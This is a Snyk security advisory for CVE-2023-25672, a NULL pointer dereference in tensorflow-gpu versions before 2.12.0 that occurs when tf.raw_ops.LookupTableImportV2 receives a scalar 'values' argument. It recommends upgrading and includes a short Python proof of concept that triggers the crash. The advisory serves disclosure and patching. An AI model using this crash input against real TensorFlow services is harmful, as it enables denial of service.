NULL Pointer Dereference Affecting tensorflow-gpu package, versions [,2.12.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.09% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-TENSORFLOWGPU-3373033
  • published26 Mar 2023
  • disclosed26 Mar 2023
  • creditr3pwnx

Introduced: 26 Mar 2023

CVE-2023-25672  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade tensorflow-gpu to version 2.12.0 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference. The function tf.raw_ops.LookupTableImportV2 cannot handle scalars in the values parameter and gives a null pointer exception.

PoC

import tensorflow as tf

v = tf.Variable(1)

@tf.function(jit_compile=True)
def test():
   func = tf.raw_ops.LookupTableImportV2
   para={'table_handle': v.handle,'keys': [62.98910140991211, 94.36528015136719], 'values': -919}

   y = func(**para)
   return y

print(test())

References

CVSS Scores

version 3.1